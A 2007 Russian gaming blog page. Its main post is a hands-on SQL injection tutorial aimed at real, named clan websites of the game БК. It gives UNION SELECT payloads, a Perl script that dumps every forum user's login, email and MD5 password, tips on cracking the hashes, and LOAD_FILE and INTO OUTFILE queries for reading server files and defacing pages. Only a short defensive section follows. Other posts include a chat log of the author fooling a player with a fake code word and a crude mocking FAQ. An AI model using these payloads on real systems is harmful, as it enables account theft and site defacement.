|
16.06.07 03:55 |
чиппи-гламур | защити себя сам |
ru |
Для примера использован сайт клана Cossacks Of Hell
В связи с последними событиями в БК , я решил провести исследования клансайтов ..
К сожалению , как оказалось , большая часть подвержена серьезным уязвимостям..Я хочу рассказать вам и сберечь вас от наиболее распространенных..
Как оказалось 80% просмотренных мною клансайтов имеют схожие уязвимости - сиквэл инъекции , что далеко не странно , тк у программистов не хватает больше ума как использовать стандартные проверки в скриптах при обращении к реляционной базе данных..Зачем думать головой , если можно содрать уже написанное ? =))
Зачастую , о наличии сиквэл инъекции могут сказать ошибки , явно указывающие, что произошла ошибка в sql запросе. В тоже время о наличии ошибки в сиквэл запросе можно судить и по косвенным признакам ..
Чтобы реализовать наш с вами взлом давайте найдем параметр , значения которого передаются в запросе к БД.. Это достаточно просто , как правило это может быть параметр для обращения к новостной ленте , галлерии , списку статей , панели регестрации итд ..
структура такого запроса
http://site/test.php?id=номер статьи или новости
естественно , любой нормальный человек , увидев такое в строке запроса или в сорсе кода начнет сУвать туда всякую херь =)
http://site/test.php?id=9999
http://site/test.php?id=ааа
http://site/test.php?id=0
http://site/test.php?id=-0
http://site/test.php?id=-1000
итд
в 10 сайтах , уже на этом этапе я получил ошибку , связанную с неверным сиквэл запросом
Некоторые программисты наивно полагают , что их спасет заключение параметра в одиночные ковычки - ' и ошибочная фильтрация символов.. бугага =)
что-нить типо
<?php
$param=preg_replace("/[a-zA-Z0-9]i","",$param);
?php>
---------------------------------------------------------------------------
если исследуя скрипт выше мы еще не получили ошибки , продолжим =))
http://site/test.php?id=-1'+/*
таким нехитрым маневром мы закрываем первую кавычку и ставим незакрытый сиквэл комментарий , который превращает следующий в запросе код в бесполезную информацию.
вуаля =))
*
Следует отметить , что вы можете и не получать вывод ошибочного запроса , но если в результате ковыряния параметра вы получаете редирект на главную страницу , или еще лучше страницу с пустым запросом или 500 ошибкой шттп - вы на верном пути и правильно выбрали атакуемый параметр ..
*
Дальше можно было бы и не писать ничего , если бы я не сомневался в профессионализме прогеров ..
далее начинаем подбирать верный запрос к таблице , туд , методом перебора выясняется номер столбца с выводом. Нам понадобится знать, в каком по счету столбце происходит вывод на страницу
http://site/test.php?id=-1'+union+select+null/*
если и такой запрос выдаст ошибку синтаксиса или пустую страницу , значит в скрипте, возможно имеется проверка на не пустоту одного из параметров ...
тогда идем конём ..
http://site/test.php?id=-1'+union+select+1/*
еееееее
http://site/test.php?id=-1'+union+select+1,2,3 итд/*
http://site/test.php?id=-1'+union+select+null,null,null,null,null,null,null/*
или если фильтруется пробуем
http://site/test.php?id=-1'+union+select+1,2,3,4,5,6,7/*
вуаля =))
Теперь можно перебирать имена таблиц .. Правильные запросы будут соответствовать существующим именам таблиц .. Наверно , интересно будет проверить на существование таблиц users , passwords , regusers и тд и тп ..
Если выводиться только одна строка из запроса (например , вместо тела статьи) , то можно передвигаться по строкам путем limit ..
http://site/test.php?id=-1'+union+select+1,concat(username,char(58),user_email,char(58),user_password),3,4,5,6,7+from+phpbb_users+limit+1,1/*
вуаля =))
*отдельно стоит рассказать про сиквэл функцию char() .. в качестве аргумента она принимает десятичный код ASCII символа , это нужно в том случае , когда скриптом фильтруются нужные символы...
например char(47) вернет нам / , когда если бы мы отослали его напрямую этот символ бы отфильтровался ..
*
Итак - мы имеем пароли в мд5 , логины и почтовые ящики пользователей .. (n делить на два , потом n деленное на два разделить на два итд)
Методом мат. анализа определяем , что записей в phpbb_forum тут 489 .. Анализируем сорс ошибки..
и пишем несложный скрипт на перле
не люблю я пхп =))
#!/usr/bin/perl -w
use LWP;
use strict;
my $ua=LWP::UserAgent->new;
my $i;
my $res;
$path='путь к уязвимости=-1\'+union+select+1,concat(username,char(58),user_email,char(58),user_password),3,4,5,6,7+from+phpbb_users+limit';
for ($i=1;$i<=488;$i++) {
my $res=$ua->request(HTTP::Request->new(GET=>$path.'+'."$i".',1/*'));
if ($res->is_success) {
$res->content=~/<center>Запрещено просматривать статью '(.*):(.*):(.*)'/;
open (LOG,">>list") || die " cant open file";
print LOG $1.':'.$2.':'.$3."\n";
close LOG;
} else {
print $res->status_line;
}
}
В кратце - используем модуль лвл для последовательного гет запроса ко всем строкам таблицы , выделяем из сорса нужные тэги , а из них в свою очередь - логины , пароли и мэйлы ..
вуаля =))
в фале list , в одной корневой со скриптом через 2 мин у нас вся база данных сайта =))
кидаем пароли клана на подбор в любую утилиту для штурма мд5
и вуаля , через минуту у нас уже пасс от одного соклана ..
а еще через два дня , от половины
но какого же будет ваше удивление , когда в ответ на инъекцию
http://site/test.php?id=-1'+union+select+1,LOAD_FILE(''),3,4,5,6,7/*
вы получите
сайтик то , на винде стоит , а это увеличивает полет фантазии вдвое
нам на самом деле и не нужны пароли , их можно и не качать ..
Достаточно написать что - нить типа
http://site/test.php?id=-1'+union+select+1,LOAD_FILE('путь к любому файлу на диске C:\'),3,4,5,6,7/*
для просмотра любого скрипта
и
http://site/test.php?id=-1'+union+select+1,'',2,3,4,5,6,7+from+phpbb_forum+into+outfile+'C:\usr\local\site\www\index.php'/*
для дефейса .. те подмены главной страницы .. да и вообще стереть любой файл можно ..
или закачать свое ..
Похожие уязвимости я нашел почти на всех топ клан сайтах ..
Даркклан , рмиб и пачке других..
Попытаться исправить это можно путем
- для целых и дробных величин , перед их использованием в запросе надо привести величину к нужному типу ..
$id=(int)$id; $total=(float)$total;
Вместо этого можно вставить систему слежения за тестированием на сиквэл инъекцию ..
if((string)$id<>(string)(int)$id) {
// пишем в лог о попытке ..
die('ops');
}
- для строковых параметров , которые не используются в like , regexp и тд , экранируем кавычки ..
$str=addslashes($str);
или , лучше я всегда советовал
mysql_escape_string($str)
- в строках , которые предполагается использовать внутри like , regexp и тд , необходимо так же заэкранировать специальные символы , применяющиеся в этих операторах , если это необходимо.. В противном случае , можно задокументировать использование этих символов ..
На прощание хочу сказать - никогда не ждите благодарностей от людей..
удачи , и помните - если жизнь свернула вас как удав , терпите =)))
hacked by 4
hacked by RaD
отдельное спасибо Diogen-у
|
Comments: 19 | |
|
|
|
09.06.07 07:31 |
чиппи-гламур | Ты следующий .. |
ru |
|
Comments: 2 | |
|
|
|
09.06.07 04:08 |
чиппи-гламур | Осенило |
ru |
Я пришел к выводу что Жоф - дятел , ничего личного ..
|
|
|
|
|
08.06.07 01:24 |
чиппи-гламур | Диалог ... |
ru |
00:31 [] private [чиппи-гламур] привет!! не мог бы подсказать как ты сделал себе такое инфо,??!
00:32 [] private [чиппи-гламур] чё там между слов прописывать надо??!
00:32 [] private [чиппи-гламур] ясно!!!
00:33 [чиппи-гламур] private [] не знаю , мне админы сделали
00:33 [] private [чиппи-гламур] как так"?"!!
00:33 [чиппи-гламур] private [] попроси админов
00:33 [] private [чиппи-гламур] за деньги чтоли??!
00:34 [чиппи-гламур] private [] нет
00:34 [] private [чиппи-гламур] и чё мне им сказать сделайте мне длинное инфо?! )))
00:34 [] private [чиппи-гламур] тупо
00:34 [чиппи-гламур] private [] да
00:34 [чиппи-гламур] private [] так и сказал
00:34 [] private [чиппи-гламур] скажи чё ты им говорил??!
00:35 [] private [чиппи-гламур] и где ты их надыбал??!
00:35 [чиппи-гламур] private [] я сказал - *Сделайте пожалуйста мне длинное инфо*
00:35 [] private [чиппи-гламур] чёт возле меня ни один админ не пробегал!"! ))
00:35 [чиппи-гламур] private [] можешь паладина попросить , они умеют
00:36 [] private [чиппи-гламур] а текст под заказ!!! я уж сам составлю!!!
00:36 [чиппи-гламур] private [] да
00:36 [] private [чиппи-гламур] я или рисунок какойниюудь???!
00:37 [чиппи-гламур] private [] можешь и рисунок , надо кодовое слово сказать , тут просто сын админа играет
00:38 [] private [чиппи-гламур] ты чё приклуешься??!
00:38 [чиппи-гламур] private [] нет!
00:39 [чиппи-гламур] private [] я узнал нахаляву
00:39 [] private [чиппи-гламур] кодовое слово!!!
00:39 [чиппи-гламур] private [] да .. не смейся .. мне инфо сделали .. потому что думали , что я сын админа
00:39 [] private [чиппи-гламур] чё за слово?? "сын админа" ,,?
00:39 [чиппи-гламур] private [] нет
00:40 [] private [чиппи-гламур] голова работает но мне чёт кажеться что если я такое заряжу с меня ещё больше ржать будут!! ))
00:40 [чиппи-гламур] private [] пиши , например паладину Падший Ангел - первые слова - Человек-ядро , человечек-маятник * дальше текст просьбы
00:41 [] private [чиппи-гламур] у меня сразу спросят а где же твои арты!! а чё мне сказать!! )))
00:41 [] private [чиппи-гламур] щас попоробую!! но со стороны глупо!! ))
00:44 [] private [чиппи-гламур] ты наверо напаленый сидишь и орёшь с меня!!!!!
00:45 [] private [чиппи-гламур] я сказал ей !! а она на тупняке!! ))) молчит!!!
00:44 [этот чел] private [Падший Ангел] Человек-ядро , человечек-маятник вечер добрый!! я хотел бы сделать какоенибудь инфо интересное немогли бы мне в этом помочь!!
-----------------------------------------------------------------------------------------------------------------------------------------
00:56 [] private [чиппи-гламур] а от куда ты его вдруг взял??!
00:56 [чиппи-гламур] private [] выпалил , тут сын админа играет
00:56 [] private [папа Ян] приваты его читал
00:56 [] private [] а как зовут!!??!
00:56 [] private [чиппи-гламур] ник скажи!!!
00:57 [чиппи-гламур] private [] ник не скажу , зовут Сергей
00:57 [] private [чиппи-гламур] а тут это где!!?? в БК или у вас гдето??!!!
00:57 [чиппи-гламур] private [] в БК
00:57 [чиппи-гламур] private [] он из Москвы
00:57 [] private [чиппи-гламур] и каким макаром ты приват его прочитал???!!
00:58 [чиппи-гламур] private [] тарман знакомый
00:59 [] private [чиппи-гламур] может ты и есть админовский бот или что то в этом роде!!?? )))
00:59 [чиппи-гламур] private [] да ну , брось )
01:00 [] private [чиппи-гламур] просто чёто у меня бкзрезультатно!!! прошу а она жопиться мне инф сделать!!!
01:01 [] private [чиппи-гламур] и ещё пальцем у виска крутит!! нехорошо!!
01:01 [] private [чиппи-гламур] 8)
01:01 [чиппи-гламур] private [] пожет не видит , еще раз - попробуй - *Человек-ядро , человечек-маятник .. Без ума - без памяти !
|
Comments: 3 | |
|
|
|
23.05.07 21:24 |
чиппи-гламур | Как все загадочно выходит .. |
ru |
Как стать паладином?
- сначало мы сидим и сдаем прокачки и нарушения паладинам
- параллельно создаем интересные топы на форуме , где мы показываем какие мы интелектуальные , там мы спорим , защищаем свет ... Или наоборот! Яростно его теребим!
как это было с коньком , так щас моднее .. Можно долго вести дискуссии с паладинами на тему законов ..
- параллельно знакомимся с паладином и начинаем всячески его ублажать - можно жаловаться на хамов в БК , можно просто разговаривать о жизни , да можете хоть целовать его в попу :) , главное оставлять впечатление приятного человека )
- резко становимся дружелюбным и общительным
- почаще бросаемся фразами типо *Не вам это решать* , *Не спорьте с пустым местом* ..
можно еще врубить что-нить типа *Ах , а раньше в БК такого не было (*
- если вы девушка , тут все проще .. Можно приехать и сделать минет главе отдела , в который вы собрались
- Не забываем постоянно апать топик с объявлением набора!!! Мы туда еще не собираемся , но апнуть надо! Этим мы покажем что мы еще не достойны паладинстваа , но помогаем закону..Или так - *ах , надо апнуть , ведь достойные новички его не найдут! ..
- Когда "поцеловали попу" паладину (ну или сделали минет см. пункт 6) , можно попробовать спросить на форуме , или в приват , *А как ты думаешь , меня бы взяли в паладины (* ..
Главное не забыть поставить в конце - ( , Это важно!!!
- Надо цитировать почаще на форуме изречения паладинов и ставить копирайт с их никами
-Сейчас уже не модно , но некоторые все-равно практикуют .. Если у вас есть молчанки
не забудьте упомянуть в топе *Помню свою единственную молчанку , достали меня .. сожалею конечно ... Как бы невзначай , если увидите что в этом топе отписал паладин..
Можно еще - *Ах , первый раз за 3 года игры в БК захотелось набить морду (*
- подаем заявку
- И наконец , О ЧУДО!! Вы паладин =)
Поздравляю !!!
Исходя из моего факю , спорю что следующий оденет крестиг - МобайлБлэк
Что самое интересное , многое в этом FAQ является действительностью , посмотрите на топы о наборе , их действительно долго и упорно апают , прежде чем осмелются подать заявку..
Так надо :)
|
Comments: 54 | |
|
|
|
23.05.07 21:11 |
чиппи-гламур | Как меня это поднапрягло , вы не поверите ... |
ru |
19:54 [Так Хотел Мир] to [чиппи-гламур] не сравнивай жопу с пальцем)
19:54 [чиппи-гламур] to [Так Хотел Мир] нет жопы - нет пальца ..
молчу получает конечно-же только чиппи .. Интересно , что на это раз придумают в ответе на жалобу?
----------------------------------------------------------------------------------------------------------------------------------------------
|
Comments: 4 | |
|
|
|
23.05.07 17:39 |
чиппи-гламур | Коляско... |
ru |
Тяжелая , время для переводов ..
ПРЕЖДЕ ЧЕМ Я ЗАБУДУ - Before I Forget Slipknot
Неведомый , закрытый внутри внешнего мира
И я запечатан в причудливом но напряженном , правильном доме
И я закрытый в клаустрофобии
И я не снова катастрофически
Меня меня мажут поперек страницы и окунают в бензине
Я являюсь пятном , которое вам нравится видеть , как будто я что-то непристойное
Поймайте меня во время ваших небольших , но противных восстаний
У меня нету времени чтобы терять его , я был подхвачен рогатым скотом
Спутывание нити
Отбросьте идеалы
Переведите дыхание
Слушайте
Я - человек прежде , чем мир
Я был животным прежде чем оформился в человека
Я буду помнить прежде чем забуду
Прежде, чем я забуду это
Я разорван , и уложен поперек канавы в грязь
Я являюсь стежком , который вы любите повреждать
Обратите внимание на свои искривленные и небольшие устремления
Я не имел никакого права на победу , я только был подхвачен во всех сражениях
Сжимаюсь в заперти
Подтолкнутый на место
Переведите дыхание
Слушайте
Я - человек прежде , чем мир
Я был животным прежде чем оформился в человека
Я буду помнить прежде чем забуду
Прежде, чем я забуду это
Мой конец оправдывает мои средства
Везде где , я когда либо задерживался
Было моей попыткой уклониться
Конец моей дороги - мой конец
Я - человек прежде , чем мир
Я был животным прежде чем оформился в человека
Я буду помнить прежде чем забуду
Прежде, чем я забуду это
еееееееее
...the only thing I ever really loved, was hate...
|
Comments: 1 | |
|
|
Total posts: 22 Pages: 3
1 2 3
|
|
Mo |
Tu |
We |
Th |
Fr |
Sa |
Su |
| | | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | |
|